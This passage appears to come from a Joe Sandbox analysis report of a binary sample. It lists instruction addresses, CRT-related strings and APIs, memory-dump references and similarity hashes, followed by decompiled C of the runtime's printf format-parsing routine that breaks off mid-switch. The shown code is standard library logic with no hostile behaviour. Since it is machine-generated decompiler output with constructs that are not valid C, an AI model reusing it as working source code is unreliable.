0x00434703
0x00434705
0x004347bf
0x004347d2
0x004347d7
0x00000000
0x0043470b
0x0043471e
0x00434723
0x00434729
0x0043472b
0x00434734
0x00434734
0x00434737
0x00434743
0x00434747
0x0043474d
0x0043474f
0x00434754
0x00434756
0x0043475b
0x00434760
0x00434762
0x00434767
0x0043476a
0x0043476d
0x0043476f
0x0043476f
0x0043476d
0x00434770
0x00434770
0x00434777
0x00000000
0x00434779
0x0043477e
0x0043479a
0x004347a2
0x004347af
0x004347b4
0x00000000
0x004347b4
0x00434777
0x00000000
0x004347df
0x004347df
0x004347e6
0x004347e9
0x004347ec
0x004347ef
0x004347f2
0x004347f5
0x004347f8
0x004347ff
0x00434806
0x00000000
0x00000000
0x00434812
0x00434812
0x00434819
0x00434825
0x00434828
0x0043482e
0x00434835
0x00000000
0x00000000
0x00434837
0x00434837
0x0043483d
0x0043483d
0x00434844
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434887
0x00434887
0x0043488e
0x00434891
0x004348bb
0x004348be
0x004348be
0x004348c1
0x004348c8
0x004348c8
0x004348cc
0x00434893
0x00434893
0x0043489f
0x004348a2
0x004348a6
0x004348a8
0x004348ab
0x004348ab
0x004348ae
0x004348b4
0x004348b6
0x004348b6
0x004348b9
0x00000000
0x00000000
0x004348d4
0x004348d4
0x00000000
0x00000000
0x004348e0
0x004348e0
0x004348e7
0x004348ea
0x0043490a
0x0043490d
0x0043490d
0x00434917
0x00434917
0x0043491b
0x004348ec
0x004348ec
0x004348f8
0x004348fb
0x004348ff
0x00434901
0x00434901
0x00434908
0x00000000
0x00000000
0x00434923
0x00434923
0x0043492a
0x00434936
0x00434939
0x0043493f
0x00434946
0x00434a59
0x00000000
0x00434a59
0x0043494c
0x0043494c
0x00434952
0x00434952
0x00434959
0x00000000
0x0043498f
0x0043498f
0x00434992
0x00434995
0x00434998
0x004349c0
0x004349c0
0x004349c3
0x004349c6
0x004349c9
0x004349ee
0x004349ee
0x004349f1
0x004349f4
0x004349f7
0x00434a30
0x00434a41
0x00000000
0x00434a41
0x004349f9
0x004349f9
0x004349fc
0x004349ff
0x00434a02
0x00000000
0x00000000
0x00434a04
0x00434a04
0x00434a07
0x00434a0a
0x00434a0d
0x00000000
0x00000000
0x00434a0f
0x00434a0f
0x00434a12
0x00434a15
0x00434a18
0x00000000
0x00000000
0x00434a1a
0x00434a1a
0x00434a1d
0x00434a20
0x00434a23
0x00000000
0x00000000
0x00434a25
0x00434a25
0x00434a28
0x00434a2b
0x00434a2e
0x00434a32
0x00000000
0x00434a32
0x00000000
0x00434a2e
0x004349cb
0x004349cb
0x004349ce
0x004349d2
0x004349d5
0x00000000
0x004349d7
0x004349da
0x004349dd
0x004349e0
0x004349e3
0x004349e9
0x00000000
0x004349e9
0x004349d5
0x0043499a
0x0043499a
0x0043499d
0x004349a1
0x004349a4
0x00000000
0x004349a6
0x004349a9
0x004349ac
0x004349af
0x004349b2
0x004349b8
0x00000000
0x004349b8
0x00000000
0x00434a43
0x00434a46
0x00434a49
0x00000000
0x00000000
0x00434960
0x00434960
0x00434963
0x00434966
0x00434969
0x00434981
0x00434984
0x00434984
0x00434987
0x0043496b
0x0043496e
0x00434971
0x00434977
0x0043497c
0x0043497c
0x00000000
0x00000000
0x00434a4e
0x00434a4e
0x00434a51
0x00434a51
0x00434a56
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434a5e
0x00434a5e
0x00434a65
0x00434a71
0x00434a74
0x00434a7a
0x00434a81
0x00000000
0x004352a2
0x004352a2
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x0043525c
0x0043525f
0x00435262
0x00435265
0x00435268
0x0043526b
0x00435271
0x00435271
0x00435271
0x00435279
0x0043527d
0x00000000
0x00000000
0x0043527f
0x0043527f
0x00435282
0x00435285
0x00435285
0x0043528a
0x0043528d
0x00435290
0x00435293
0x00435296
0x00435299
0x0043529c
0x0043529c
0x0043529f
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x004352a2
0x00434a87
0x00434a8d
0x00434a8d
0x00434a94
0x00000000
0x00434dee
0x00434dee
0x00434df5
0x00434dfc
0x00434dfc
0x00434dff
0x00000000
0x00000000
0x00434a9b
0x00434a9e
0x00434a9e
0x00434aa4
0x00434aa6
0x00434aa9
0x00434aa9
0x00434aae
0x00434aae
0x00000000
0x00000000
0x00434bdb
0x00434bde
0x00434bde
0x00434be3
0x00434be5
0x00434be8
0x00434be8
0x00434bee
0x00434bee
0x00000000
0x00000000
0x00434fbb
0x00434fbb
0x00000000
0x00000000
0x00000000
0x00000000
0x00434e05
0x00434e08
0x00434e0b
0x00434e0e
0x00434e14
0x00434e17
0x00434e1e
0x00434e22
0x00434e2d
0x00434e2d
0x00434e31
0x00434e48
0x00434e48
0x00434e4f
0x00434e51
0x00434e51
0x00434e58
0x00434e58
0x00434e5f
0x00434e70
0x00434e7f
0x00434e82
0x00434e86
0x00434e9c
0x00434e88
0x00434e88
0x00434e8b
0x00434e91
0x00434e97
0x00434e97
0x00434e86
0x00434ea6
0x00434ea9
0x00434eac
0x00434eaf
0x00434eb2
0x00434eb5
0x00434ebb
0x00434ec1
0x00434ec9
0x00434eca
0x00434ecd
0x00434ece
0x00434ed1
0x00434ed2
0x00434ed9
0x00434eda
0x00434edd
0x00434ede
0x00434ee1
0x00434ee2
0x00434ee8
0x00434ee9
0x00434ef7
0x00434ef9
0x00434eff
0x00434eff
0x00434f05
0x00434f07
0x00434f0b
0x00434f0d
0x00434f15
0x00434f16
0x00434f19
0x00434f1a
0x00434f28
0x00434f2a
0x00434f2a
0x00434f0b
0x00434f2d
0x00434f34
0x00434f37
0x00434f3c
0x00434f3c
0x00434f42
0x00434f44
0x00434f4c
0x00434f4d
0x00434f50
0x00434f51
0x00434f60
0x00434f62
0x00434f62
0x00434f42
0x00434f65
0x00434f68
0x00434f6b
0x00434f6e
0x00434f73
0x00434f79
0x00434f7c
0x00434f7f
0x00434f7f
0x00434f82
0x00434f82
0x00434f85
0x00434f91
0x00000000
0x00434f91
0x00434e33
0x00434e33
0x00434e3a
0x00434e3d
0x00000000
0x00000000
0x00434e3f
0x00434e3f
0x00000000
0x00434e3f
0x00434e24
0x00434e24
0x00000000
0x00000000
0x00434ab1
0x00434ab4
0x00434ab4
0x00434aba
0x00434b15
0x00434b1d
0x00434b24
0x00434b2a
0x00434b30
0x00434abc
0x00434abc
0x00434ac6
0x00434aca
0x00434ad2
0x00434ad9
0x00434ae6
0x00434aed
0x00434af9
0x00434aff
0x00434b06
0x00434b08
0x00434b08
0x00434b0f
0x00434b37
0x00434b3d
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x00000000
0x00000000
0x00434f99
0x00434f9c
0x00434f9f
0x00434fa2
0x00000000
0x00000000
0x00434cf7
0x00434cf7
0x00434d03
0x00434d09
0x00434d0e
0x00434d10
0x00434dba
0x00434dbd
0x00434dbd
0x00434dc0
0x00434dd4
0x00434dda
0x00434de0
0x00434dc2
0x00434dc2
0x00434dcf
0x00434dcf
0x00434de2
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x004352a2
0x00434d16
0x00434d16
0x00434d16
0x00434d18
0x00434d26
0x00434d1a
0x00434d1a
0x00434d1a
0x00434d30
0x00434d36
0x00434d3c
0x00434d43
0x00434d45
0x00434d4a
0x00434d4c
0x00434d51
0x00434d56
0x00434d58
0x00434d5d
0x00434d60
0x00434d63
0x00434d65
0x00434d65
0x00434d63
0x00434d66
0x00434d6d
0x00434db5
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x00434d6f
0x00434d6f
0x00434d74
0x00434d90
0x00434d98
0x00434da2
0x00434da5
0x00434daa
0x00000000
0x00434daa
0x00000000
0x00434ffc
0x00434ffc
0x00435006
0x00435006
0x0043500c
0x0043500e
0x00435011
0x00435011
0x00435017
0x00435017
0x00000000
0x00000000
0x00434fb4
0x00434fb4
0x00000000
0x00000000
0x00434bf1
0x00434bf1
0x00434bf5
0x00434c03
0x00434c06
0x00434bf7
0x00434bf7
0x00434bf7
0x00434c0c
0x00434c12
0x00434c18
0x00434c24
0x00434c2a
0x00434c2a
0x00434c30
0x00434c97
0x00434c97
0x00434c9b
0x00434c9d
0x00434ca3
0x00434ca3
0x00434ca6
0x00434ca9
0x00434caf
0x00434caf
0x00434caf
0x00434cbb
0x00434cbe
0x00434cc4
0x00434cc6
0x00000000
0x00000000
0x00434cc8
0x00434cc8
0x00434cce
0x00434cd1
0x00434cd3
0x00000000
0x00000000
0x00434cd5
0x00434cdb
0x00434cde
0x00434cde
0x00434ce6
0x00434ce6
0x00434cec
0x00434cec
0x00434cef
0x00000000
0x00434c32
0x00434c32
0x00434c32
0x00434c36
0x00434c38
0x00434c3d
0x00434c3d
0x00434c40
0x00434c47
0x00434c4a
0x00434c50
0x00434c50
0x00434c50
0x00434c5c
0x00434c5f
0x00434c65
0x00434c67
0x00000000
0x00000000
0x00434c69
0x00434c69
0x00434c6f
0x00434c72
0x00434c74
0x00000000
0x00000000
0x00434c76
0x00434c7c
0x00434c7f
0x00434c7f
0x00434c87
0x00434c8d
0x00434c90
0x00434c92
0x00434cf2
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x004352a2
0x00000000
0x00434fab
0x00434fab
0x00000000
0x00000000
0x00434fc7
0x00434fc7
0x00434fd1
0x00434fd1
0x00434fdb
0x00434fdb
0x00434fe1
0x00434fe3
0x00434fed
0x00434fed
0x00434ff0
0x00434ff3
0x00434ff3
0x0043501a
0x0043501d
0x0043501d
0x00435022
0x00435044
0x00435044
0x0043504a
0x0043506c
0x0043506c
0x0043506f
0x004350b6
0x004350b6
0x004350b9
0x004350d6
0x004350da
0x004350e2
0x004350e2
0x004350e4
0x004350ea
0x004350bb
0x004350bb
0x004350bf
0x004350c7
0x004350c8
0x004350ce
0x004350ce
0x00435071
0x00435074
0x00435074
0x00435077
0x00435095
0x004350a1
0x004350a4
0x004350a5
0x004350ab
0x00435079
0x00435079
0x0043507d
0x00435085
0x00435086
0x00435087
0x0043508d
0x0043508d
0x004350b1
0x0043504c
0x0043504c
0x00435058
0x0043505e
0x0043505e
0x00435024
0x00435024
0x00435030
0x00435036
0x00435036
0x004350f3
0x004350f3
0x004350f6
0x00435138
0x00435138
0x0043513e
0x00435144
0x0043514a
0x00000000
0x004350f8
0x004350f8
0x004350f8
0x004350ff
0x00000000
0x00000000
0x00435101
0x00435101
0x0043510c
0x00435112
0x00435114
0x0043511a
0x0043511d
0x0043511f
0x00435125
0x0043512e
0x00435133
0x00435150
0x00435153
0x00435153
0x00435158
0x0043515d
0x0043515d
0x00435163
0x00435165
0x0043516b
0x00435171
0x00435171
0x0043517a
0x0043517a
0x00435163
0x00435180
0x00435184
0x00435192
0x00435195
0x00435198
0x0043519f
0x004351a1
0x004351a1
0x00435186
0x00435186
0x00435186
0x004351ae
0x004351ae
0x004351b4
0x004351b6
0x004351b6
0x004351bd
0x004351c0
0x004351c3
0x004351c3
0x004351c3
0x004351c9
0x004351cc
0x004351cf
0x004351d1
0x00000000
0x00000000
0x004351d3
0x004351d9
0x004351d9
0x004351df
0x00000000
0x00000000
0x004351e1
0x004351e1
0x004351e4
0x004351e7
0x004351ee
0x004351f5
0x004351fd
0x00435203
0x00435206
0x00435209
0x00435210
0x0043521c
0x00435222
0x00435228
0x0043522f
0x00435231
0x00435237
0x00435237
0x0043523d
0x0043523d
0x00435243
0x00435246
0x0043524c
0x00435251
0x00435254
0x004351c3
0x004351c3
0x004351c9
0x004351cc
0x004351cf
0x004351d1
0x00000000
0x00000000
0x00000000
0x004351d1
0x004351c3
0x00435103
0x00435103
0x0043510a
0x00000000
0x00000000
0x00000000
0x0043510a
0x00000000
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x00000000
0x00000000
0x00434861
0x00434864
0x00434867
0x00000000
0x00000000
0x0043486c
0x0043486f
0x00434874
0x00000000
0x00000000
0x00434856
0x00434856
0x00434859
0x0043485c
0x00000000
0x00000000
0x0043484b
0x0043484e
0x00434851
0x00000000
0x00000000
0x00434879
0x00434879
0x0043487c
0x0043487c
0x0043487f
0x00000000
0x00000000
0x00434882
0x00000000
0x00000000
0x0043461e
0x00434620
0x0043462e
0x00434622
0x00434622
0x00434622
0x00434638
0x0043463e
0x0043464b
0x0043464d
0x00434652
0x00434654
0x00434659
0x0043465e
0x00434660
0x00434665
0x0043466b
0x0043466d
0x0043466d
0x0043466b
0x0043466e
0x00434675
0x00000000
0x00434677
0x0043467c
0x00434698
0x004346a0
0x004346ad
0x004346b2
0x00435571
0x0043557e
0x0043557e
0x00434675
0x00434618
0x004354ad
0x004354b4
0x004354cb
0x004354cb
0x004354d5
0x004354d5
0x004354db
0x004354e8
0x004354ea
0x004354ef
0x004354f1
0x004354f6
0x004354fb
0x004354fd
0x00435502
0x00435508
0x0043550a
0x0043550a
0x00435508
0x00435512
0x0043555d
0x00435566
0x0043556b
0x00435514
0x00435519
0x00435535
0x0043553d
0x0043554a
0x0043554f
0x0043554f
0x00000000
0x00435512
0x004354b6
0x004354bd
0x00000000
0x00000000
0x004354bf
0x004354bf
0x00000000
0x004354bf
0x004352a2
0x00434b6c
0x00434b6c
0x00434b72
0x00434b79
0x00434b7e
0x00434b81
0x00000000
0x00434b81

APIs

_get_int_arg.LIBCMTD ref: 00434B49
_strlen.LIBCMT ref: 00434B79
_write_multi_char.LIBCMTD ref: 0043531E
_write_string.LIBCMTD ref: 00435339
_write_multi_char.LIBCMTD ref: 00435365
_wctomb_s.LIBCMTD ref: 004353E2

Strings

_output_s_l, xrefs: 0043468E
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00434659, 00434689
("Incorrect format specifier", 0), xrefs: 0043464D, 00434693
HD@, xrefs: 00434B6C
-, xrefs: 004352BE

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$HD@$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2232461714-2091699214
Opcode ID: d0f61f29c879eed9cc1c0e60e7973fb4b0ceebe191f2e6b4636b4a8e4f4f8f3e
Instruction ID: 6b8dbfe54cefc336ecc4e1fe6a2cdb3b19199a4559dcd21b1b39945f45393a58
Opcode Fuzzy Hash: d0f61f29c879eed9cc1c0e60e7973fb4b0ceebe191f2e6b4636b4a8e4f4f8f3e
Instruction Fuzzy Hash: BEA16C70D016289BDB64CF54CC49BEEB7B1AB88305F1491DAD4086B291E778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043BF34, Relevance: 23.0, APIs: 9, Strings: 4, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0043BF34(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t482;
				signed int _t484;
				signed int _t487;
				void* _t492;
				signed int _t494;
				void* _t502;
				void* _t520;
				signed int _t524;
				void* _t534;
				signed int _t567;
				signed int _t573;
				void* _t594;
				void* _t595;
				signed int _t596;
				void* _t598;
				void* _t599;

				L0:
				while(1) {
					L0:
					_t595 = __esi;
					_t594 = __edi;
					_t534 = __ebx;
					_t482 = E00428370(_t596 + 0x14);
					_t599 = _t598 + 4;
					 *((intOrPtr*)(_t596 - 0x474)) = _t482;
					if( *((intOrPtr*)(_t596 - 0x474)) == 0) {
						goto L76;
					}
					L75:
					__ecx =  *(__ebp - 0x474);
					if( *(__ecx + 4) != 0) {
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
						if(( *(__ebp - 0x10) & 0x00000800) == 0) {
							 *(__ebp - 0xc) = 0;
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__edx =  *__ecx;
							 *(__ebp - 0x24) =  *__ecx;
						} else {
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__eax =  *__ecx;
							asm("cdq");
							 *__ecx - __edx =  *__ecx - __edx >> 1;
							 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
							 *(__ebp - 0xc) = 1;
						}
						L80:
						while(1) {
							L187:
							if( *(_t596 - 0x28) != 0) {
								goto L212;
							}
							L188:
							if(( *(_t596 - 0x10) & 0x00000040) != 0) {
								if(( *(_t596 - 0x10) & 0x00000100) == 0) {
									if(( *(_t596 - 0x10) & 0x00000001) == 0) {
										if(( *(_t596 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t596 - 0x14)) = 0x20;
											 *(_t596 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t596 - 0x14)) = 0x2b;
										 *(_t596 - 0x1c) = 1;
									}
								} else {
									 *((short*)(_t596 - 0x14)) = 0x2d;
									 *(_t596 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t596 - 0x4ac)) =  *((intOrPtr*)(_t596 - 0x18)) -  *(_t596 - 0x24) -  *(_t596 - 0x1c);
							if(( *(_t596 - 0x10) & 0x0000000c) == 0) {
								E0043CB00(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
							}
							E0043CB40( *(_t596 - 0x1c), _t596 - 0x14,  *(_t596 - 0x1c),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
							_t599 = _t599 + 0x10;
							if(( *(_t596 - 0x10) & 0x00000008) != 0) {
								if(( *(_t596 - 0x10) & 0x00000004) == 0) {
									E0043CB00(0x30,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
									_t599 = _t599 + 0x10;
								}
							}
							if( *(_t596 - 0xc) != 0) {
								L208:
								E0043CB40( *(_t596 - 0x24),  *(_t596 - 4),  *(_t596 - 0x24),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
								goto L209;
							} else {
								L201:
								if( *(_t596 - 0x24) <= 0) {
									goto L208;
								}
								L202:
								 *(_t596 - 0x4b0) =  *(_t596 - 4);
								 *(_t596 - 0x4b4) =  *(_t596 - 0x24);
								while(1) {
									L203:
									 *(_t596 - 0x4b4) =  *(_t596 - 0x4b4) - 1;
									if( *(_t596 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t520 = E0041AE60(_t596 - 0x40);
									_t524 = E0043B5A0(_t596 - 0x458,  *(_t596 - 0x4b0),  *((intOrPtr*)( *((intOrPtr*)(E0041AE60(_t596 - 0x40))) + 0xac)), _t520);
									_t599 = _t599 + 0x10;
									 *(_t596 - 0x4b8) = _t524;
									if( *(_t596 - 0x4b8) > 0) {
										L206:
										E0043CAA0( *(_t596 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0xc;
										 *(_t596 - 0x4b0) =  *(_t596 - 0x4b0) +  *(_t596 - 0x4b8);
										continue;
									}
									L205:
									 *(_t596 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								if( *(_t596 - 0x44c) >= 0) {
									if(( *(_t596 - 0x10) & 0x00000004) != 0) {
										E0043CB00(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0x10;
									}
								}
							}
							L212:
							if( *(_t596 - 0x20) != 0) {
								L0041C550( *(_t596 - 0x20), 2);
								_t599 = _t599 + 8;
								 *(_t596 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t596 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t596 + 0xc))));
								_t535 =  *(_t596 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t596 + 0xc)) =  *((intOrPtr*)(_t596 + 0xc)) + 2;
								if(( *(_t596 - 0x454) & 0x0000ffff) == 0 ||  *(_t596 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t596 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t596 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t596 - 0x4d8) = 0;
									} else {
										 *(_t596 - 0x4d8) =  *(( *(_t596 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
									}
								}
								L7:
								 *(_t596 - 0x450) =  *(_t596 - 0x4d8);
								_t573 =  *(_t596 - 0x450) * 9;
								_t494 =  *(_t596 - 0x45c);
								_t543 = ( *(_t573 + _t494 + 0x407e08) & 0x000000ff) >> 4;
								 *(_t596 - 0x45c) = ( *(_t573 + _t494 + 0x407e08) & 0x000000ff) >> 4;
								if( *(_t596 - 0x45c) != 8) {
									L16:
									 *(_t596 - 0x4e0) =  *(_t596 - 0x45c);
									if( *(_t596 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t596 - 0x4e0) * 4 +  &M0043C994))) {
										case 0:
											L18:
											 *(_t596 - 0xc) = 1;
											E0043CAA0( *(_t596 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
											_t599 = _t599 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t59 =  *(__ebp - 0x4e4) + 0x43c9cc; // 0x498d04
											__ecx =  *_t59 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043C9B4))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__ecx = __edx + _t83;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E00428370(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t94;
												 *(__ebp - 0x30) = __ecx + _t94;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E00428370(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t102 =  *(__ebp - 0x4e8) + 0x43c9f4; // 0xc2019003
											__ecx =  *_t102 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043C9E0))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
